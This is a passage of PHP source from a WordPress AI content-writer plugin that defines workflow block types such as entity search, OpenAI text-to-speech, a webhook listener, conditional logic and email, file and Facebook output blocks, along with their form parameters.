NeuronWriter API, gets related entities to keywords.', 'aiomatic-automatic-ai-content-writer'), 'type' => 'create', 'shortcodes' => array('entities_title_', 'entities_description_', 'entities_h1_', 'entities_h2_', 'entities_content_basic_', 'entities_content_basic_with_ranges_', 'entities_content_extended_', 'entities_content_extended_with_ranges_', 'entities_list_'), 'parameters' => array( 'input_text' => array( 'type' => 'text', 'title' => esc_html__('Entities Search Keywords', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Example: dog food', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Please provide the a search keyword for the related entities search.', 'aiomatic-automatic-ai-content-writer') ), 'engine' => array( 'type' => 'select', 'values' => array("google.al" => "ALBANIA | google.AL", "google.ad" => "ANDORRA | google.AD", "google.at" => "AUSTRIA | google.AT", "google.by" => "BELARUS | google.BY", "google.be" => "BELGIUM | google.BE", "google.ba" => "BOSNIA AND HERZEGOVINA | google.BA", "google.bg" => "BULGARIA | google.BG", "google.hr" => "CROATIA | google.HR", "google.cz" => "CZECH REPUBLIC | google.CZ", "google.dk" => "DENMARK | google.DK", "google.ee" => "ESTONIA | google.EE", "google.fi" => "FINLAND | google.FI", "google.fr" => "FRANCE | google.FR", "google.de" => "GERMANY | google.DE", "google.com.gi" => "GIBRALTAR | google.com.GI", "google.gr" => "GREECE | google.GR", "google.gg" => "GUERNSEY | google.GG", "google.hu" => "HUNGARY | google.HU", "google.is" => "ICELAND | google.IS", "google.ie" => "IRELAND | google.IE", "google.im" => "ISLE OF MAN | google.IM", "google.it" => "ITALY | google.IT", "google.je" => "JERSEY | google.JE", "google.lv" => "LATVIA | google.LV", "google.li" => "LIECHTENSTEIN | google.LI", "google.lt" => "LITHUANIA | google.LT", "google.lu" => "LUXEMBOURG | google.LU", "google.mk" => "MACEDONIA | google.MK", "google.com.mt" => "MALTA | google.com.MT", "google.md" => "MOLDOVA | google.MD", "google.me" => "MONTENEGRO | google.ME", "google.nl" => "NETHERLANDS | google.NL", "google.no" => "NORWAY | google.NO", "google.pl" => "POLAND | google.PL", "google.pt" => "PORTUGAL | google.PT", "google.ro" => "ROMANIA | google.RO", "google.ru" => "RUSSIA | google.RU", "google.sm" => "SAN MARINO | google.SM", "google.rs" => "SERBIA | google.RS", "google.sk" => "SLOVAKIA | google.SK", "google.si" => "SLOVENIA | google.SI", "google.es" => "SPAIN | google.ES", "google.se" => "SWEDEN | google.SE", "google.ch" => "SWITZERLAND | google.CH", "google.com.tr" => "TURKEY | google.com.TR", "google.com.ua" => "UKRAINE | google.com.UA", "google.co.uk" => "UNITED KINGDOM | google.co.UK", "google.com.ag" => "ANTIGUA AND BARBUDA | google.com.AG", "google.bs" => "BAHAMAS | google.BS", "google.com.bz" => "BELIZE | google.com.BZ", "google.vg" => "BRITISH VIRGIN ISLANDS | google.VG", "google.ca" => "CANADA | google.CA", "google.co.cr" => "COSTA RICA | google.co.CR", "google.com.cu" => "CUBA | google.com.CU", "google.dm" => "DOMINICA | google.DM", "google.com.do" => "DOMINICAN REPUBLIC | google.com.DO", "google.com.sv" => "EL SALVADOR | google.com.SV", "google.gl" => "GREENLAND | google.GL", "google.com.gt" => "GUATEMALA | google.com.GT", "google.ht" => "HAITI | google.HT", "google.hn" => "HONDURAS | google.HN", "google.com.jm" => "JAMAICA | google.com.JM", "google.com.mx" => "MEXICO | google.com.MX", "google.com.ni" => "NICARAGUA | google.com.NI", "google.com.pa" => "PANAMA | google.com.PA", "google.com.pr" => "PUERTO RICO | google.com.PR", "google.com.vc" => "SAINT VINCENT AND THE GRENADINES | google.com.VC", "google.tt" => "TRINIDAD AND TOBAGO | google.TT", "google.com" => "UNITED STATES (USA) | google.COM", "google.co.vi" => "VIRGIN ISLANDS | google.co.VI", "google.com.ar" => "ARGENTINA | google.com.AR", "google.com.bo" => "BOLIVIA | google.com.BO", "google.com.br" => "BRAZIL | google.com.BR", "google.cl" => "CHILE | google.CL", "google.com.co" => "COLOMBIA | google.com.CO", "google.com.ec" => "ECUADOR | google.com.EC", "google.gy" => "GUYANA | google.GY", "google.com.py" => "PARAGUAY | google.com.PY", "google.com.pe" => "PERU | google.com.PE", "google.sr" => "SURINAME | google.SR", "google.com.uy" => "URUGUAY | google.com.UY", "google.co.ve" => "VENEZUELA | google.co.VE", "google.com.af" => "AFGHANISTAN | google.com.AF", "google.am" => "ARMENIA | google.AM", "google.az" => "AZERBAIJAN | google.AZ", "google.com.bh" => "BAHRAIN | google.com.BH", "google.com.bd" => "BANGLADESH | google.com.BD", "google.bt" => "BHUTAN | google.BT", "google.com.bn" => "BRUNEI | google.com.BN", "google.com.kh" => "CAMBODIA | google.com.KH", "google.cn" => "CHINA | google.CN", "google.com.cy" => "CYPRUS | google.com.CY", "google.ge" => "GEORGIA | google.GE", "google.com.hk" => "HONG KONG | google.com.HK", "google.co.in" => "INDIA | google.co.IN", "google.co.id" => "INDONESIA | google.co.ID", "google.iq" => "IRAQ | google.IQ", "google.co.il" => "ISRAEL | google.co.IL", "google.co.jp" => "JAPAN | google.co.JP", "google.jo" => "JORDAN | google.JO", "google.kz" => "KAZAKHSTAN | google.KZ", "google.com.kw" => "KUWAIT | google.com.KW", "google.kg" => "KYRGYZSTAN | google.KG", "google.la" => "LAOS | google.LA", "google.com.lb" => "LEBANON | google.com.LB", "google.com.my" => "MALAYSIA | google.com.MY", "google.mv" => "MALDIVES | google.MV", "google.mn" => "MONGOLIA | google.MN", "google.com.mm" => "MYANMAR | google.com.MM", "google.com.np" => "NEPAL | google.com.NP", "google.com.om" => "OMAN | google.com.OM", "google.com.pk" => "PAKISTAN | google.com.PK", "google.ps" => "PALESTINE | google.PS", "google.com.ph" => "PHILIPPINES | google.com.PH", "google.com.qa" => "QATAR | google.com.QA", "google.com.sa" => "SAUDI ARABIA | google.com.SA", "google.com.sg" => "SINGAPORE | google.com.SG", "google.co.kr" => "SOUTH KOREA | google.co.KR", "google.lk" => "SRI LANKA | google.LK", "google.com.tw" => "TAIWAN | google.com.TW", "google.com.tj" => "TAJIKISTAN | google.com.TJ", "google.co.th" => "THAILAND | google.co.TH", "google.tl" => "TIMOR-LESTE | google.TL", "google.tm" => "TURKMENISTAN | google.TM", "google.ae" => "UNITED ARAB EMIRATES | google.AE", "google.co.uz" => "UZBEKISTAN | google.co.UZ", "google.com.vn" => "VIETNAM | google.com.VN", "google.dz" => "ALGERIA | google.DZ", "google.co.ao" => "ANGOLA | google.co.AO", "google.bj" => "BENIN | google.BJ", "google.co.bw" => "BOTSWANA | google.co.BW", "google.bf" => "BURKINA FASO | google.BF", "google.bi" => "BURUNDI | google.BI", "google.cm" => "CAMEROON | google.CM", "google.cv" => "CAPE VERDE | google.CV", "google.cf" => "CENTRAL AFRICAN REPUBLIC | google.CF", "google.td" => "CHAD | google.TD", "google.cd" => "DEMOCRATIC REPUBLIC OF THE CONGO | google.CD", "google.dj" => "DJIBOUTI | google.DJ", "google.com.eg" => "EGYPT | google.com.EG", "google.com.et" => "ETHIOPIA | google.com.ET", "google.ga" => "GABON | google.GA", "google.gm" => "GAMBIA | google.GM", "google.com.gh" => "GHANA | google.com.GH", "google.ci" => "IVORY COAST | google.CI", "google.co.ke" => "KENYA | google.co.KE", "google.co.ls" => "LESOTHO | google.co.LS", "google.com.ly" => "LIBYA | google.com.LY", "google.mg" => "MADAGASCAR | google.MG", "google.mw" => "MALAWI | google.MW", "google.ml" => "MALI | google.ML", "google.mu" => "MAURITIUS | google.MU", "google.co.ma" => "MOROCCO | google.co.MA", "google.co.mz" => "MOZAMBIQUE | google.co.MZ", "google.com.na" => "NAMIBIA | google.com.NA", "google.ne" => "NIGER | google.NE", "google.com.ng" => "NIGERIA | google.com.NG", "google.cg" => "REPUBLIC OF THE CONGO | google.CG", "google.rw" => "RWANDA | google.RW", "google.sh" => "SAINT HELENA | google.SH", "google.st" => "SAO TOMÉ AND PRÃNCIPE | google.ST", "google.sn" => "SENEGAL | google.SN", "google.sc" => "SEYCHELLES | google.SC", "google.com.sl" => "SIERRA LEONE | google.com.SL", "google.so" => "SOMALIA | google.SO", "google.co.za" => "SOUTH AFRICA | google.co.ZA", "google.co.tz" => "TANZANIA | google.co.TZ", "google.tg" => "TOGO | google.TG", "google.tn" => "TUNISIA | google.TN", "google.co.ug" => "UGANDA | google.co.UG", "google.co.zm" => "ZAMBIA | google.co.ZM", "google.co.zw" => "ZIMBABWE | google.co.ZW", "google.as" => "AMERICAN SAMOA | google.AS", "google.com.ai" => "ANGUILLA | google.com.AI", "google.com.au" => "AUSTRALIA | google.com.AU", "google.co.ck" => "COOK ISLANDS | google.co.CK", "google.com.fj" => "FIJI | google.com.FJ", "google.ki" => "KIRIBATI | google.KI", "google.fm" => "MICRONESIA | google.FM", "google.ms" => "MONTSERRAT | google.MS", "google.nr" => "NAURU | google.NR", "google.co.nz" => "NEW ZEALAND | google.co.NZ", "google.nu" => "NIUE | google.NU", "google.com.pg" => "PAPUA NEW GUINEA | google.com.PG", "google.pn" => "PITCAIRN | google.PN", "google.com.sb" => "SOLOMON ISLANDS | google.com.SB", "google.to" => "TONGA | google.TO", "google.vu" => "VANUATU | google.VU", "google.ws" => "WESTERN SAMOA | google.WS"), 'title' => esc_html__('Search Engine', 'aiomatic-automatic-ai-content-writer'), 'default_value' => 'google.co.uk', 'description' => esc_html__('Set the search engine you want to use for results querying', 'aiomatic-automatic-ai-content-writer') ), 'language' => array( 'type' => 'select', 'values' => array("Abkhazian" => "Abkhazian", "Afar" => "Afar", "Afrikaans" => "Afrikaans", "Akan" => "Akan", "Albanian" => "Albanian", "Amharic" => "Amharic", "Arabic" => "Arabic", "Aragonese" => "Aragonese", "Armenian" => "Armenian", "Assamese" => "Assamese", "Avaric" => "Avaric", "Aymara" => "Aymara", "Azerbaijani" => "Azerbaijani", "Bambara" => "Bambara", "Bashkir" => "Bashkir", "Basque" => "Basque", "Belarusian" => "Belarusian", "Bengali" => "Bengali", "Bihari" => "Bihari", "Bislama" => "Bislama", "Bosnian" => "Bosnian", "Breton" => "Breton", "Bulgarian" => "Bulgarian", "Burmese" => "Burmese", "Catalan" => "Catalan", "Chamorro" => "Chamorro", "Chechen" => "Chechen", "Chinese" => "Chinese", "Chuvash" => "Chuvash", "Corsican" => "Corsican", "Cree" => "Cree", "Croatian" => "Croatian", "Czech" => "Czech", "Danish" => "Danish", "Dhivehi" => "Dhivehi", "Dutch" => "Dutch", "Dzongkha" => "Dzongkha", "English" => "English", "Esperanto" => "Esperanto", "Estonian" => "Estonian", "Ewe" => "Ewe", "Faroese" => "Faroese", "Fijian" => "Fijian", "Finnish" => "Finnish", "French" => "French", "Fulah" => "Fulah", "Galician" => "Galician", "Ganda" => "Ganda", "Georgian" => "Georgian", "German" => "German", "Greek" => "Greek", "Guarani" => "Guarani", "Gujarati" => "Gujarati", "Haitian" => "Haitian", "Hausa" => "Hausa", "Hebrew" => "Hebrew", "Herero" => "Herero", "Hindi" => "Hindi", "Hiri Motu" => "Hiri Motu", "Hungarian" => "Hungarian", "Icelandic" => "Icelandic", "Igbo" => "Igbo", "Indonesian" => "Indonesian", "Inuktitut" => "Inuktitut", "Inupiaq" => "Inupiaq", "Irish" => "Irish", "Italian" => "Italian", "Japanese" => "Japanese", "Javanese" => "Javanese", "Kalaallisut" => "Kalaallisut", "Kannada" => "Kannada", "Kanuri" => "Kanuri", "Kashmiri" => "Kashmiri", "Kazakh" => "Kazakh", "Khmer" => "Khmer", "Kikuyu" => "Kikuyu", "Kinyarwanda" => "Kinyarwanda", "Kirghiz" => "Kirghiz", "Komi" => "Komi", "Kongo" => "Kongo", "Korean" => "Korean", "Kuanyama" => "Kuanyama", "Kurdish" => "Kurdish", "Lao" => "Lao", "Latvian" => "Latvian", "Limburgan" => "Limburgan", "Lingala" => "Lingala", "Lithuanian" => "Lithuanian", "Luba-Katanga" => "Luba-Katanga", "Luxembourgish" => "Luxembourgish", "Macedonian" => "Macedonian", "Malagasy" => "Malagasy", "Malay" => "Malay", "Malayalam" => "Malayalam", "Maltese" => "Maltese", "Maori" => "Maori", "Marathi" => "Marathi", "Marshallese" => "Marshallese", "Moldavian" => "Moldavian", "Mongolian" => "Mongolian", "Nauru" => "Nauru", "Navajo" => "Navajo", "Ndonga" => "Ndonga", "Nepali" => "Nepali", "North Ndebele" => "North Ndebele", "Northern Sami" => "Northern Sami", "Norwegian" => "Norwegian", "Nyanja" => "Nyanja", "Occitan" => "Occitan", "Ojibwa" => "Ojibwa", "Oriya" => "Oriya", "Oromo" => "Oromo", "Ossetian" => "Ossetian", "Panjabi" => "Panjabi", "Persian" => "Persian", "Polish" => "Polish", "Portuguese (Brazil)" => "Portuguese (Brazil)", "Portuguese" => "Portuguese", "Pushto" => "Pushto", "Quechua" => "Quechua", "Romanian" => "Romanian", "Romansh" => "Romansh", "Rundi" => "Rundi", "Russian" => "Russian", "Samoan" => "Samoan", "Sango" => "Sango", "Sanskrit" => "Sanskrit", "Sardinian" => "Sardinian", "Gaelic" => "Gaelic", "Serbian" => "Serbian", "Shona" => "Shona", "Sichuan Yi" => "Sichuan Yi", "Sindhi" => "Sindhi", "Sinhala" => "Sinhala", "Slovak" => "Slovak", "Slovenian" => "Slovenian", "Somali" => "Somali", "South Ndebele" => "South Ndebele", "Southern Sotho" => "Southern Sotho", "Spanish" => "Spanish", "Sundanese" => "Sundanese", "Swahili" => "Swahili", "Swati" => "Swati", "Swedish" => "Swedish", "Tagalog" => "Tagalog", "Tahitian" => "Tahitian", "Tajik" => "Tajik", "Tamil" => "Tamil", "Tatar" => "Tatar", "Telugu" => "Telugu", "Thai" => "Thai", "Tibetan" => "Tibetan", "Tigrinya" => "Tigrinya", "Tonga" => "Tonga", "Tsonga" => "Tsonga", "Tswana" => "Tswana", "Turkish" => "Turkish", "Turkmen" => "Turkmen", "Twi" => "Twi", "Uighur" => "Uighur", "Ukrainian" => "Ukrainian", "Urdu" => "Urdu", "Uzbek" => "Uzbek", "Venda" => "Venda", "Vietnamese" => "Vietnamese", "Walloon" => "Walloon", "Welsh" => "Welsh", "Western Frisian" => "Western Frisian", "Wolof" => "Wolof", "Xhosa" => "Xhosa", "Yiddish" => "Yiddish", "Yoruba" => "Yoruba", "Zhuang" => "Zhuang", "Zulu" => "Zulu"), 'title' => esc_html__('Search Language', 'aiomatic-automatic-ai-content-writer'), 'default_value' => 'English', 'description' => esc_html__('Set the search language you want to use for results querying', 'aiomatic-automatic-ai-content-writer') ) ) ], 'tts_openai' => [ 'id' => 'tts_openai', 'name' => esc_html__('Text-To-Speech - OpenAI', 'aiomatic-automatic-ai-content-writer'), 'category' => esc_html__(' - Content Gathering Blocks', 'aiomatic-automatic-ai-content-writer'), 'required_plugin' => array(), 'description' => esc_html__('Using OpenAI API, transforms text to speech (audio).', 'aiomatic-automatic-ai-content-writer'), 'type' => 'create', 'shortcodes' => array('audio_url'), 'parameters' => array( 'input_text' => array( 'type' => 'text', 'title' => esc_html__('Text', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Text to be transformed into speech', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Please provide the text which will be transformed into speech.', 'aiomatic-automatic-ai-content-writer') ), 'model' => array( 'type' => 'select', 'values' => array("tts-1" => "tts-1", "tts-1-hd" => "tts-1-hd"), 'title' => esc_html__('AI TTS Model', 'aiomatic-automatic-ai-content-writer'), 'default_value' => 'tts-1', 'description' => esc_html__('Set the AI TTS model to be used.', 'aiomatic-automatic-ai-content-writer') ), 'voice' => array( 'type' => 'select', 'values' => array("alloy" => "alloy", "echo" => "echo", "fable" => "fable", "nova" => "nova", "onyx" => "onyx", "shimmer" => "shimmer"), 'title' => esc_html__('AI Voice Selector', 'aiomatic-automatic-ai-content-writer'), 'default_value' => 'alloy', 'description' => esc_html__('Select the voice to be used when generating the text to speech.', 'aiomatic-automatic-ai-content-writer') ), 'output' => array( 'type' => 'select', 'values' => array("mp3" => "mp3", "opus" => "opus", "aac" => "aac", "flac" => "flac"), 'title' => esc_html__('AI Voice Output Format', 'aiomatic-automatic-ai-content-writer'), 'default_value' => 'mp3', 'description' => esc_html__('Select the output format to be used when generating the text to speech.', 'aiomatic-automatic-ai-content-writer') ), 'stability' => array( 'type' => 'number', 'title' => esc_html__('Voice Stability', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '1', 'placeholder' => esc_html__('1', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Select a the Voice speed of the chosen voice. The default value is 1. Min: 0.25, max: 4.', 'aiomatic-automatic-ai-content-writer') ) ) ], 'webhook_fire' => [ 'id' => 'webhook_fire', 'name' => esc_html__('Webhook Listener', 'aiomatic-automatic-ai-content-writer'), 'category' => esc_html__(' - Content Gathering Blocks', 'aiomatic-automatic-ai-content-writer'), 'required_plugin' => array(), 'description' => esc_html__('Using data from a webhook URL, run OmniBlock rules automatically, even when not scheduled. Webhook URL is: %%webhook_url%%', 'aiomatic-automatic-ai-content-writer'), 'type' => 'create', 'shortcodes' => array('webhook_data_'), 'parameters' => array( 'api_key' => array( 'type' => 'text', 'title' => esc_html__('Webhook API Key', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set your API own API key which will allow access to your webhook', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set your API own API key which will allow access to your webhook. This will prevent unauthorized requests from accessing the webhook.', 'aiomatic-automatic-ai-content-writer') ) ) ], 'post_import' => [ 'id' => 'post_import', 'name' => esc_html__('Post Data Importing', 'aiomatic-automatic-ai-content-writer'), 'category' => esc_html__(' - Content Gathering Blocks', 'aiomatic-automatic-ai-content-writer'), 'required_plugin' => array(), 'description' => esc_html__('Returns content from a specific post ID or search query. You can get many specific data from a post, based on its ID or by a search query', 'aiomatic-automatic-ai-content-writer'), 'type' => 'create', 'shortcodes' => array('post_id_', 'post_url_', 'post_title_', 'post_content_', 'post_excerpt_', 'post_categories_', 'post_tags_', 'post_author_', 'post_date_', 'post_status_', 'post_type_', 'post_image_'), 'parameters' => array( 'input_text' => array( 'type' => 'text', 'title' => esc_html__('Post ID / Advanced Query', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Input a post ID or an advanced query', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Provide the post ID for which you want to query the content. You can also set the advanced query parameters for what posts to process. Learn more about these parameters here: https://developer.wordpress.org/reference/classes/wp_query/ - Example: to process posts from a specific category, insert: &category_name=category_slug - If you want to process a single post returned by the search query only once, you can do it by defining the following search parameter here: aiomatic_unique_tag=your_unique_tag', 'aiomatic-automatic-ai-content-writer') ) ) ], 'random_line' => [ 'id' => 'random_line', 'name' => esc_html__('Random Line Of Text', 'aiomatic-automatic-ai-content-writer'), 'category' => esc_html__(' - Content Gathering Blocks', 'aiomatic-automatic-ai-content-writer'), 'required_plugin' => array(), 'description' => esc_html__('Returns a random line of text, from the lines entered in the OmniBlock input.', 'aiomatic-automatic-ai-content-writer'), 'type' => 'create', 'shortcodes' => array('random_line_'), 'parameters' => array( 'input_text' => array( 'type' => 'textarea', 'title' => esc_html__('Text Input (Multiline)', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Input a multiline text', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Input a multiline text, this OmniBlock will select at each run, a random line from it', 'aiomatic-automatic-ai-content-writer') ) ) ], 'if_block' => [ 'id' => 'if_block', 'name' => esc_html__('Conditional (IF) OmniBlock', 'aiomatic-automatic-ai-content-writer'), 'category' => esc_html__(' - Logic Blocks', 'aiomatic-automatic-ai-content-writer'), 'required_plugin' => array(), 'description' => esc_html__('Executes a set of OmniBlocks if a condition is met, otherwise executes another set of OmniBlocks.', 'aiomatic-automatic-ai-content-writer'), 'type' => 'create', 'shortcodes' => array(), 'parameters' => array( 'condition' => array( 'type' => 'textarea', 'title' => esc_html__('Condition', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the condition to be evaluated', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the condition which will be evaluated. This will get the result of the condition.', 'aiomatic-automatic-ai-content-writer') ), 'evaluation_method' => array( 'type' => 'select', 'values' => array("equals" => "Equals", 'not_equals' => 'Not Equals', 'contains' => 'Contains', 'not_contains' => 'Not Contains', 'greater_than' => 'Greater Than', 'less_than' => 'Less Than', 'starts_with' => 'Starts With', 'not_starts_with' => 'Not Starts With', 'ends_with' => 'Ends With', 'not_ends_with' => 'Not Ends With'), 'title' => esc_html__('Evaluation Method', 'aiomatic-automatic-ai-content-writer'), 'default_value' => 'equals', 'description' => esc_html__('Select the method to evaluate the condition with the expected value.', 'aiomatic-automatic-ai-content-writer') ), 'expected_value' => array( 'type' => 'textarea', 'title' => esc_html__('Expected Value', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the expected value of the condition', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the expected value which will be compared with the result of the condition.', 'aiomatic-automatic-ai-content-writer') ), 'true_blocks' => array( 'type' => 'textarea', 'title' => esc_html__('Condition True Blocks', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('List of block IDs to execute if the condition is true', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the list of block IDs to execute if the condition is true, separated by commas.', 'aiomatic-automatic-ai-content-writer') ), 'false_blocks' => array( 'type' => 'textarea', 'title' => esc_html__('Condition False Blocks', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('List of block IDs to execute if the condition is false', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the list of block IDs to execute if the condition is false, separated by commas.', 'aiomatic-automatic-ai-content-writer') ) ) ], 'jump_block' => [ 'id' => 'jump_block', 'name' => esc_html__('Jump To OmniBlock ID', 'aiomatic-automatic-ai-content-writer'), 'category' => esc_html__(' - Logic Blocks', 'aiomatic-automatic-ai-content-writer'), 'required_plugin' => array(), 'description' => esc_html__('Jumps to a specific OmniBlock ID and continues execution of the OmniBlock queue from that specific location. You can also add a comma separated list of OmniBlock IDs, in this case, the plugin will select a random ID each time it executes the Jump OmniBlock.', 'aiomatic-automatic-ai-content-writer'), 'type' => 'create', 'shortcodes' => array(), 'parameters' => array( 'jumpto' => array( 'type' => 'textarea', 'title' => esc_html__('Jump To OmniBlock ID', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the ID of the OmniBlock where to jump', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the ID of the OmniBlock where to jump', 'aiomatic-automatic-ai-content-writer') ) ) ], 'exit_block' => [ 'id' => 'exit_block', 'name' => esc_html__('Exit OmniBlock', 'aiomatic-automatic-ai-content-writer'), 'category' => esc_html__(' - Logic Blocks', 'aiomatic-automatic-ai-content-writer'), 'required_plugin' => array(), 'description' => esc_html__('Finishes the execution queue of OmniBlocks. This block is useful when combined with an IF or a Jump OmniBlock type.', 'aiomatic-automatic-ai-content-writer'), 'type' => 'create', 'shortcodes' => array(), 'parameters' => array( ) ] ]); aiomatic_sort_by_category($all_blocks); return $all_blocks; } function aiomatic_sort_by_category(&$array) { uasort($array, function($a, $b) { return strcmp($a['category'], $b['category']); }); } function aiomatic_add_block_types($block_types) { $block_types['send_email'] = [ 'id' => 'send_email', 'name' => 'Send Email', 'category' => esc_html__(' - Content Saving Blocks', 'aiomatic-automatic-ai-content-writer'), 'required_plugin' => array(), 'description' => esc_html__('Sends an email to your desired email address', 'aiomatic-automatic-ai-content-writer'), 'type' => 'save', 'shortcodes' => array(), 'parameters' => array( 'email_title' => array( 'type' => 'text', 'title' => esc_html__('Email Subject', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the subject of the email to be sent', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the subject of the email to be sent. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.', 'aiomatic-automatic-ai-content-writer') ), 'email_content' => array( 'type' => 'textarea', 'title' => esc_html__('Email Content', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the content of the email to be sent', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the content of the email to be sent. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.', 'aiomatic-automatic-ai-content-writer') ), 'email_recipient' => array( 'type' => 'text', 'title' => esc_html__('Email Recipient Address', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the email address to which to send the email', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the email address to which to send the email. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.', 'aiomatic-automatic-ai-content-writer') ) ) ]; $block_types['save_file'] = [ 'id' => 'save_file', 'name' => 'Save To File', 'category' => esc_html__(' - Content Saving Blocks', 'aiomatic-automatic-ai-content-writer'), 'required_plugin' => array(), 'description' => esc_html__('Save content to file', 'aiomatic-automatic-ai-content-writer'), 'type' => 'save', 'shortcodes' => array(), 'parameters' => array( 'post_template' => array( 'type' => 'textarea', 'title' => esc_html__('File Content Template', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the main file content', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the main file content. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.', 'aiomatic-automatic-ai-content-writer') ), 'file_type' => array( 'type' => 'file_type_selector', 'title' => esc_html__('File Type', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'description' => esc_html__('Set the file type of the saved file.', 'aiomatic-automatic-ai-content-writer') ), 'send_type' => array( 'type' => 'location_selector', 'title' => esc_html__('File Location', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'description' => esc_html__('Set the location of the saved file.', 'aiomatic-automatic-ai-content-writer') ) ) ]; $block_types['send_facebook'] = [ 'id' => 'send_facebook', 'name' => 'Send Text/Link To Facebook', 'category' => esc_html__(' - Content Saving Blocks', 'aiomatic-automatic-ai-content-writer'), 'required_plugin' => array('fbomatic-facebook-post-generator/fbomatic-facebook-post-generator.php' => array('F-omatic Automatic Post Generator', 'https://1.envato.market/fbomatic')), 'description' => esc_html__('Sends text/link posts to Facebook pages', 'aiomatic-automatic-ai-content-writer'), 'type' => 'save', 'shortcodes' => array(), 'parameters' => array( 'page_to_post' => array( 'type' => 'facebook_page_selector', 'title' => esc_html__('Page Where to Publish Posts', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'description' => esc_html__('Select the page associated with your App ID, where you want to publish your posts.', 'aiomatic-automatic-ai-content-writer') ), 'post_template' => array( 'type' => 'textarea', 'title' => esc_html__('Facebook Post Template', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the main Facebook post content', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the main Facebook post content. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.', 'aiomatic-automatic-ai-content-writer') ), 'post_link' => array( 'type' => 'url', 'title' => esc_html__('Facebook Post Link', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the link of the Facebook post', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the link of the Facebook post. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.', 'aiomatic-automatic-ai-content-writer') ) ) ]; $block_types['send_image_facebook'] = [ 'id' => 'send_image_facebook', 'name' => 'Send Image To Facebook', 'category' => esc_html__(' - Content Saving Blocks', 'aiomatic-automatic-ai-content-writer'), 'required_plugin' => array('fbomatic-facebook-post-generator/fbomatic-facebook-post-generator.php' => array('F-omatic Automatic Post Generator', 'https://1.envato.market/fbomatic')), 'description' => esc_html__('Sends posts to Facebook pages', 'aiomatic-automatic-ai-content-writer'), 'type' => 'save', 'shortcodes' => array(), 'parameters' => array( 'page_to_post' => array( 'type' => 'facebook_page_selector', 'title' => esc_html__('Page Where to Publish Posts', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'description' => esc_html__('Select the page associated with your App ID, where you want to publish your posts.', 'aiomatic-automatic-ai-content-writer') ), 'image_link' => array( 'type' => 'url', 'title' => esc_html__('Image URL', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the URL of the Facebook image post', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the URL of the Facebook image post. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.', 'aiomatic-automatic-ai-content-writer') ), 'post_template' => array( 'type' => 'textarea', 'title' => esc_html__('Image Caption', 